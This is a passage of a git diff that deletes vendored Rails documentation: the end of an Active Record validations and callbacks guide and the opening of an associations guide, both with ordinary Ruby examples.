-</ruby>
-
-The default error message for +validates_acceptance_of+ is "_must be accepted_".
-
-+validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_acceptance_of :terms_of_service, :accept => 'yes'
-end
-</ruby>
-
-h4. +validates_associated+
-
-You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
-
-<ruby>
-class Library < ActiveRecord::Base
-  has_many :books
-  validates_associated :books
-end
-</ruby>
-
-This validation will work with all of the association types.
-
-CAUTION: Don't use +validates_associated+ on both ends of your associations, they would call each other in an infinite loop.
-
-The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
-
-h4. +validates_confirmation_of+
-
-You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_confirmation_of :email
-end
-</ruby>
-
-In your view template you could use something like
-
-<erb>
-<%= text_field :person, :email %>
-<%= text_field :person, :email_confirmation %>
-</erb>
-
-This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide):
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_confirmation_of :email
-  validates_presence_of :email_confirmation
-end
-</ruby>
-
-The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_".
-
-h4. +validates_exclusion_of+
-
-This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
-
-<ruby>
-class Account < ActiveRecord::Base
-  validates_exclusion_of :subdomain, :in => %w(www),
-    :message => "Subdomain {{value}} is reserved."
-end
-</ruby>
-
-The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+  that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value.
-
-The default error message for +validates_exclusion_of+  is "_is not included in the list_".
-
-h4. +validates_format_of+
-
-This helper validates the attributes' values by testing whether they match a given regular expresion, which is specified using the +:with+ option.
-
-<ruby>
-class Product < ActiveRecord::Base
-  validates_format_of :legacy_code, :with => /\A[a-zA-Z]+\z/,
-    :message => "Only letters allowed"
-end
-</ruby>
-
-The default error message for +validates_format_of+ is "_is invalid_".
-
-h4. +validates_inclusion_of+
-
-This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
-
-<ruby>
-class Coffee < ActiveRecord::Base
-  validates_inclusion_of :size, :in => %w(small medium large),
-    :message => "{{value}} is not a valid size"
-end
-</ruby>
-
-The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value.
-
-The default error message for +validates_inclusion_of+  is "_is not included in the list_".
-
-h4. +validates_length_of+
-
-This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_length_of :name, :minimum => 2
-  validates_length_of :bio, :maximum => 500
-  validates_length_of :password, :in => 6..20
-  validates_length_of :registration_number, :is => 6
-end
-</ruby>
-
-The possible length constraint options are:
-
-* +:minimum+ - The attribute cannot have less than the specified length.
-* +:maximum+ - The attribute cannot have more than the specified length.
-* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range.
-* +:is+ - The attribute length must be equal to the given value.
-
-The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>{{count}}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_length_of :bio, :maximum => 1000,
-    :too_long => "{{count}} characters is the maximum allowed"
-end
-</ruby>
-
-This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option:
-
-<ruby>
-class Essay < ActiveRecord::Base
-  validates_length_of :content,
-    :minimum   => 300,
-    :maximum   => 400,
-    :tokenizer => lambda { |str| str.scan(/\w+/) },
-    :too_short => "must have at least {{count}} words",
-    :too_long  => "must have at most {{count}} words"
-end
-</ruby>
-
-The +validates_size_of+ helper is an alias for +validates_length_of+.
-
-h4. +validates_numericality_of+
-
-This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true.
-
-If you set +:only_integer+ to +true+, then it will use the
-
-<ruby>
-/\A[+-]?\d+\Z/
-</ruby>
-
-regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
-
-WARNING. Note that the regular expression above allows a trailing newline character.
-
-<ruby>
-class Player < ActiveRecord::Base
-  validates_numericality_of :points
-  validates_numericality_of :games_played, :only_integer => true
-end
-</ruby>
-
-Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values:
-
-* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than {{count}}_".
-* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to {{count}}".
-* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to {{count}}_".
-* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than {{count}}_".
-* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less or equal to {{count}}_".
-* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_".
-* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_".
-
-The default error message for +validates_numericality_of+ is "_is not a number_".
-
-h4. +validates_presence_of+
-
-This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_presence_of :name, :login, :email
-end
-</ruby>
-
-If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
-
-<ruby>
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-  validates_presence_of :order_id
-end
-</ruby>
-
-Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use +validates_inclusion_of :field_name, :in => [true, false]+. 
-
-The default error message for +validates_presence_of+ is "_can't be empty_".
-
-h4. +validates_uniqueness_of+
-
-This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.
-
-<ruby>
-class Account < ActiveRecord::Base
-  validates_uniqueness_of :email
-end
-</ruby>
-
-The validation happens by performing a SQL query into the model's table, searching for an existing record with the same value in that attribute.
-
-There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
-
-<ruby>
-class Holiday < ActiveRecord::Base
-  validates_uniqueness_of :name, :scope => :year,
-    :message => "should happen once per year"
-end
-</ruby>
-
-There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_uniqueness_of :name, :case_sensitive => false
-end
-</ruby>
-
-WARNING. Note that some databases are configured to perform case-insensitive searches anyway.
-
-The default error message for +validates_uniqueness_of+ is "_has already been taken_".
-
-h4. +validates_each+
-
-This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_each :name, :surname do |model, attr, value|
-    model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
-  end
-end
-</ruby>
-
-The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.
-
-h3. Common Validation Options
-
-There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in "Conditional Validation":#conditional-validation.
-
-h4. +:allow_nil+
-
-The +:allow_nil+ option skips the validation when the value being validated is +nil+. Using +:allow_nil+ with +validates_presence_of+ allows for +nil+, but any other +blank?+ value will still be rejected.
-
-<ruby>
-class Coffee < ActiveRecord::Base
-  validates_inclusion_of :size, :in => %w(small medium large),
-    :message => "{{value}} is not a valid size", :allow_nil => true
-end
-</ruby>
-
-h4. +:allow_blank+
-
-The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example.
-
-<ruby>
-class Topic < ActiveRecord::Base
-  validates_length_of :title, :is => 5, :allow_blank => true
-end
-
-Topic.create("title" => "").valid? # => true
-Topic.create("title" => nil).valid? # => true
-</ruby>
-
-h4. +:message+
-
-As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
-
-h4. +:on+
-
-The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
-
-<ruby>
-class Person < ActiveRecord::Base
-  # it will be possible to update email with a duplicated value
-  validates_uniqueness_of :email, :on => :create
-
-  # it will be possible to create the record with a non-numerical age
-  validates_numericality_of :age, :on => :update
-
-  # the default (validates on both create and update)
-  validates_presence_of :name, :on => :save
-end
-</ruby>
-
-h3. Conditional Validation
-
-Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
-
-h4. Using a Symbol with +:if+ and +:unless+
-
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
-
-<ruby>
-class Order < ActiveRecord::Base
-  validates_presence_of :card_number, :if => :paid_with_card?
-
-  def paid_with_card?
-    payment_type == "card"
-  end
-end
-</ruby>
-
-h4. Using a String with +:if+ and +:unless+
-
-You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_presence_of :surname, :if => "name.nil?"
-end
-</ruby>
-
-h4. Using a Proc with +:if+ and +:unless+
-
-Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
-
-<ruby>
-class Account < ActiveRecord::Base
-  validates_confirmation_of :password,
-    :unless => Proc.new { |a| a.password.blank? }
-end
-</ruby>
-
-h3. Creating Custom Validation Methods
-
-When the built-in validation helpers are not enough for your needs, you can write your own validation methods. 
-
-Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. 
-
-You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.
-
-<ruby>
-class Invoice < ActiveRecord::Base
-  validate :expiration_date_cannot_be_in_the_past,
-    :discount_cannot_be_greater_than_total_value
-
-  def expiration_date_cannot_be_in_the_past
-    errors.add(:expiration_date, "can't be in the past") if
-      !expiration_date.blank? and expiration_date < Date.today
-  end
-
-  def discount_cannot_be_greater_than_total_value
-    errors.add(:discount, "can't be greater than total value") if
-      discount > total_value
-  end
-end
-</ruby>
-
-You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:
-
-<ruby>
-ActiveRecord::Base.class_eval do
-  def self.validates_as_radio(attr_name, n, options={})
-    validates_inclusion_of attr_name, {:in => 1..n}.merge(options)
-  end
-end
-</ruby>
-
-Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this:
-
-<ruby>
-class Movie < ActiveRecord::Base
-  validates_as_radio :rating, 5
-end
-</ruby>
-
-h3. Working with Validation Errors
-
-In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects. 
-
-The following is a list of the most commonly used methods. Please refer to the +ActiveRecord::Errors+ documentation for a list of all the available methods.
-
-h4. +errors.add_to_base+
-
-The +add_to_base+ method lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. +add_to_base+ simply receives a string and uses this as the error message.
-
-<ruby>
-class Person < ActiveRecord::Base
-  def a_method_used_for_validation_purposes
-    errors.add_to_base("This person is invalid because ...")
-  end
-end
-</ruby>
-
-h4. +errors.add+
-
-The +add+ method lets you manually add messages that are related to particular attributes. You can use the +full_messages+ method to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself.
-
-<ruby>
-class Person < ActiveRecord::Base
-  def a_method_used_for_validation_purposes
-    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
-  end
-end
-
-person = Person.create(:name => "!@#")
-
-person.errors.on(:name)
- # => "cannot contain the characters !@#%*()_-+="
-
-person.errors.full_messages
- # => ["Name cannot contain the characters !@#%*()_-+="]
-</ruby>
-
-h4. +errors.on+
-
-The +on+ method is used when you want to check the error messages for a specific attribute. It returns different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute +on+ returns +nil+. If there is just one error message for this attribute +on+ returns a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ returns an array of strings, each one with one error message.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_presence_of :name
-  validates_length_of :name, :minimum => 3
-end
-
-person = Person.new(:name => "John Doe")
-person.valid? # => true
-person.errors.on(:name) # => nil
-
-person = Person.new(:name => "JD")
-person.valid? # => false
-person.errors.on(:name)
- # => "is too short (minimum is 3 characters)"
-
-person = Person.new
-person.valid? # => false
-person.errors.on(:name)
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
-
-h4. +errors.clear+
-
-The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_presence_of :name
-  validates_length_of :name, :minimum => 3
-end
-
-person = Person.new
-person.valid? # => false
-person.errors.on(:name)
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-
-person.errors.clear
-person.errors.empty? # => true
-
-p.save # => false
-
-p.errors.on(:name)
- # => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
-
-h4. +errors.size+
-
-The +size+ method returns the total number of error messages for the object.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_presence_of :name
-  validates_length_of   :name, :minimum => 3
-  validates_presence_of :email
-end
-
-person = Person.new
-person.valid? # => false
-person.errors.size # => 3
-
-person = Person.new(:name => "Andrea", :email => "andrea@example.com")
-person.valid? # => true
-person.errors.size # => 0
-</ruby>
-
-h3. Displaying Validation Errors in the View
-
-Rails provides built-in helpers to display the error messages of your models in your view templates. 
-
-h4. +error_messages+ and +error_messages_for+
-
-When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance.
-
-<ruby>
-class Product < ActiveRecord::Base
-  validates_presence_of :description, :value
-  validates_numericality_of :value, :allow_nil => true
-end
-</ruby>
-
-<erb>
-<% form_for(@product) do |f| %>
-  <%= f.error_messages %>
-  <p>
-    <%= f.label :description %><br />
-    <%= f.text_field :description %>
-  </p>
-  <p>
-    <%= f.label :value %><br />
-    <%= f.text_field :value %>
-  </p>
-  <p>
-    <%= f.submit "Create" %>
-  </p>
-<% end %>
-</erb>
-
-To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default:
-
-!images/error_messages.png(Error messages)!
-
-You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result.
-
-<erb>
-<%= error_messages_for :product %>
-</erb>
-
-The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
-
-Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.
-
-<erb>
-<%= f.error_messages :header_message => "Invalid product!",
-  :message => "You'll need to fix the following fields:",
-  :header_tag => :h3 %>
-</erb>
-
-Which results in the following content
-
-!images/customized_error_messages.png(Customized error messages)!
-
-If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+.
-
-h4. Customizing the Error Messages CSS
-
-The selectors to customize the style of error messages are:
-
-* +.fieldWithErrors+ - Style for the form fields and labels with errors.
-* +#errorExplanation+ - Style for the +div+ element with the error messages.
-* +#errorExplanation h2+ - Style for the header of the +div+ element.
-* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element.
-* +#errorExplanation ul li+ - Style for the list items with individual error messages.
-
-Scaffolding for example generates +public/stylesheets/scaffold.css+, which defines the red-based style you saw above.
-
-The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers.
-
-h4. Customizing the Error Messages HTML
-
-By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, it's possible to override that. 
-
-The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters:
-
-* A string with the HTML tag
-* An instance of +ActionView::Helpers::InstanceTag+.
-
-Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
-
-<ruby>
-ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
-  if instance.error_message.kind_of?(Array)
-    %(#{html_tag}<span class="validation-error">&nbsp;
-      #{instance.error_message.join(',')}</span>)
-  else
-    %(#{html_tag}<span class="validation-error">&nbsp;
-      #{instance.error_message}</span>)
-  end
-end
-</ruby>
-
-This will result in something like the following:
-
-!images/validation_error_messages.png(Validation error messages)!
-
-h3. Callbacks Overview
-
-Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
-
-h4. Callback Registration
-
-In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks.
-
-<ruby>
-class User < ActiveRecord::Base
-  validates_presence_of :login, :email
-
-  before_validation :ensure_login_has_a_value
-
-  protected
-  def ensure_login_has_a_value
-    if login.nil?
-      self.login = email unless email.blank?
-    end
-  end
-end
-</ruby>
-
-The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line.
-
-<ruby>
-class User < ActiveRecord::Base
-  validates_presence_of :login, :email
-
-  before_create {|user| user.name = user.login.capitalize 
-	if user.name.blank?}
-end
-</ruby>
-
-It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
-
-h3. Available Callbacks
-
-Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
-
-h4. Creating an Object
-
-* +before_validation+
-* +before_validation_on_create+
-* +after_validation+
-* +after_validation_on_create+
-* +before_save+
-* +before_create+
-* INSERT OPERATION
-* +after_create+
-* +after_save+
-
-h4. Updating an Object
-
-* +before_validation+
-* +before_validation_on_update+
-* +after_validation+
-* +after_validation_on_update+
-* +before_save+
-* +before_update+
-* UPDATE OPERATION
-* +after_update+
-* +after_save+
-
-h4. Destroying an Object
-
-* +before_destroy+
-* DELETE OPERATION
-* +after_destroy+
-
-WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed.
-
-h4. +after_initialize+ and +after_find+
-
-The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
-
-The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined.
-
-The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries.
-
-<ruby>
-class User < ActiveRecord::Base
-  def after_initialize
-    puts "You have initialized an object!"
-  end
-
-  def after_find
-    puts "You have found an object!"
-  end
-end
-
->> User.new
-You have initialized an object!
-=> #<User id: nil>
-
->> User.first
-You have found an object!
-You have initialized an object!
-=> #<User id: 1>
-</ruby>
-
-h3. Running Callbacks
-
-The following methods trigger callbacks:
-
-* +create+
-* +create!+
-* +decrement!+
-* +destroy+
-* +destroy_all+
-* +increment!+
-* +save+
-* +save!+
-* +save(false)+
-* +toggle!+
-* +update+
-* +update_attribute+
-* +update_attributes+
-* +update_attributes!+
-* +valid?+
-
-Additionally, the +after_find+ callback is triggered by the following finder methods:
-
-* +all+
-* +first+
-* +find+
-* +find_all_by_<em>attribute</em>+
-* +find_by_<em>attribute</em>+
-* +find_by_<em>attribute</em>!+
-* +last+
-
-The +after_initialize+ callback is triggered every time a new object of the class is initialized.
-
-h3. Skipping Callbacks
-
-Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. 
-
-* +decrement+
-* +decrement_counter+
-* +delete+
-* +delete_all+
-* +find_by_sql+
-* +increment+
-* +increment_counter+
-* +toggle+
-* +update_all+
-* +update_counters+
-
-h3. Halting Execution
-
-As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. 
-
-The whole callback chain is wrapped in a transaction. If any before callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued. After callbacks can only accomplish that by raising an exception.
-
-WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
-
-h3. Relational Callbacks
-
-Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. 
-
-<ruby>
-class User < ActiveRecord::Base
-  has_many :posts, :dependent => :destroy    
-end
-
-class Post < ActiveRecord::Base
-  after_destroy :log_destroy_action
-
-  def log_destroy_action
-    puts 'Post destroyed'
-  end
-end
-
->> user = User.first
-=> #<User id: 1>
->> user.posts.create!
-=> #<Post id: 1, user_id: 1>
->> user.destroy
-Post destroyed
-=> #<User id: 1>
-</ruby>
-
-h3. Conditional Callbacks
-
-Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option.
-
-h4. Using +:if+ and +:unless+ with a Symbol
-
-You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed.
-
-<ruby>
-class Order < ActiveRecord::Base
-  before_save :normalize_card_number, :if => :paid_with_card?
-end
-</ruby>
-
-h4. Using +:if+ and +:unless+ with a String
-
-You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
-
-<ruby>
-class Order < ActiveRecord::Base
-  before_save :normalize_card_number, :if => "paid_with_card?"
-end
-</ruby>
-
-h4. Using +:if+ and +:unless+ with a Proc
-
-Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners.
-
-<ruby>
-class Order < ActiveRecord::Base
-  before_save :normalize_card_number,
-    :if => Proc.new { |order| order.paid_with_card? }
-end
-</ruby>
-
-h4. Multiple Conditions for Callbacks
-
-When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration.
-
-<ruby>
-class Comment < ActiveRecord::Base
-  after_create :send_email_to_author, :if => :author_wants_emails?,
-    :unless => Proc.new { |comment| comment.post.ignore_comments? }
-end
-</ruby>
-
-h3. Callback Classes
-
-Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
-
-Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model.
-
-<ruby>
-class PictureFileCallbacks
-  def after_destroy(picture_file)
-    File.delete(picture_file.filepath) 
-      if File.exists?(picture_file.filepath)
-  end
-end
-</ruby>
-
-When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:
-
-<ruby>
-class PictureFile < ActiveRecord::Base
-  after_destroy PictureFileCallbacks.new
-end
-</ruby>
-
-Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.
-
-<ruby>
-class PictureFileCallbacks
-  def self.after_destroy(picture_file)
-    File.delete(picture_file.filepath) 
-      if File.exists?(picture_file.filepath)
-  end
-end
-</ruby>
-
-If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object.
-
-<ruby>
-class PictureFile < ActiveRecord::Base
-  after_destroy PictureFileCallbacks
-end
-</ruby>
-
-You can declare as many callbacks as you want inside your callback classes.
-
-h3. Observers
-
-Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
-
-h4. Creating Observers
-
-For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality.
-
-<ruby>
-class UserObserver < ActiveRecord::Observer
-  def after_create(model)
-    # code to send confirmation email...
-  end
-end
-</ruby>
-
-As with callback classes, the observer's methods receive the observed model as a parameter.
-
-h4. Registering Observers
-
-Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/environment.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/environment.rb+ this way:
-
-<ruby>
-# Activate observers that should always be running
-config.active_record.observers = :user_observer
-</ruby>
-
-As usual, settings in +config/environments+ take precedence over those in +config/environment.rb+. So, if you prefer that an observer not run in all environments, you can simply register it in a specific environment instead.
-
-h4. Sharing Observers
-
-By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe.
-
-<ruby>
-class MailerObserver < ActiveRecord::Observer
-  observe :registration, :user
-  
-  def after_create(model)
-    # code to send confirmation email...
-  end
-end
-</ruby>
-
-In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/environment.rb+ in order to take effect.
-
-<ruby>
-# Activate observers that should always be running
-config.active_record.observers = :mailer_observer
-</ruby>
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks
-
-* March 7, 2009: Callbacks revision by Trevor Turk
-* February 10, 2009: Observers revision by Trevor Turk
-* February 5, 2009: Initial revision by Trevor Turk
-* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques
diff --git a/vendor/rails/railties/guides/source/association_basics.textile b/vendor/rails/railties/guides/source/association_basics.textile
deleted file mode 100644
index 03e22bd6..00000000
--- a/vendor/rails/railties/guides/source/association_basics.textile
+++ /dev/null
@@ -1,1781 +0,0 @@
-h2. A Guide to Active Record Associations
-
-This guide covers the association features of Active Record. By referring to this guide, you will be able to:
-
-* Declare associations between Active Record models
-* Understand the various types of Active Record associations
-* Use the methods added to your models by creating associations
-
-endprologue.
-
-h3. Why Associations?
-
-Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
-
-<ruby>
-class Customer < ActiveRecord::Base
-end
-
-class Order < ActiveRecord::Base
-end
-</ruby>
-
-Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
-
-<ruby>
-@order = Order.create(:order_date => Time.now,
-  :customer_id => @customer.id)
-</ruby>
-
-Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
-
-<ruby>
-@orders = Order.find_by_customer_id(@customer.id)
-@orders.each do |order|
-  order.destroy
-end
-@customer.destroy
-</ruby>
-
-With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :dependent => :destroy
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-</ruby>
-
-With this change, creating a new order for a particular customer is easier:
-
-<ruby>
-@order = @customer.orders.create(:order_date => Time.now)
-</ruby>
-
-Deleting a customer and all of its orders is _much_ easier:
-
-<ruby>
-@customer.destroy
-</ruby>
-
-To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
-
-h3. The Types of Associations
-
